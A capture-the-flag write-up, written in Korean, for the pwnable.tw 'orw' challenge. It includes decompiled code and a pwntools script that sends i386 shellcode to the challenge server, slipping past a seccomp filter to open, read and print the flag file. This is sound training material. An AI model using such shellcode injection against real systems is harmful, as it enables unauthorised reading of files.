Pwnable/pwnable.tw

pwnable.tw orw

orw

Writeup

File information

Code

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  (shellcode)();
  return 0;
}

orw_seccomp 함수 호출 후 read로 shellcode에 입력받고 shellcode를 실행시킨다.

 

orw_seccomp()

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h]char *v2; // [esp+8h] [ebp-80h]char v3; // [esp+Ch] [ebp-7Ch]unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(&v3, &unk_8048640, 0x60u);
  v1 = 12;
  v2 = &v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}

orw_seccomp 함수에서는 prctl을 호출하여 시스템 호출을 제한다. 그러니 문제 나와있는 거처럼 open,read,write 을 이용하면 된다.

 

from pwn import *
context.log_level = 'debug'#/home/orw/flag
sc2 = ('''
  xor eax, eax
  xor ebx, ebx
  xor ecx, ecx
  xor edx, edx
  push 0x6761
  push 0x6C662F77
  push 0x726F2F65
  push 0x6D6F682f
  mov al, 0x05
  mov ebx, esp
  int 0x80
  xchg eax, ebx
  xor eax, eax
  mov ecx, esp
  mov al, 0x03
  mov dl, 0x40
  int 0x80
  xchg eax, edx
  xor eax, eax
  xor ebx, ebx
  mov bl, 0x01
  mov al, 0x4
  int 0x80
''')
shellcode2 = asm(sc2, os='linux', arch='i386')

#p=process("./orw")
p=remote("chall.pwnable.tw", 10001)
p.recvuntil("shellcode:")
p.sendline(shellcode2)
p.interactive()

shellcraft 사용하면 더 쉽게 풀 수 있다…

'Pwnable > pwnable.tw' 카테고리의 다른 글

hacknote  (0) 2020.03.14
pwnable.tw start  (0) 2019.09.05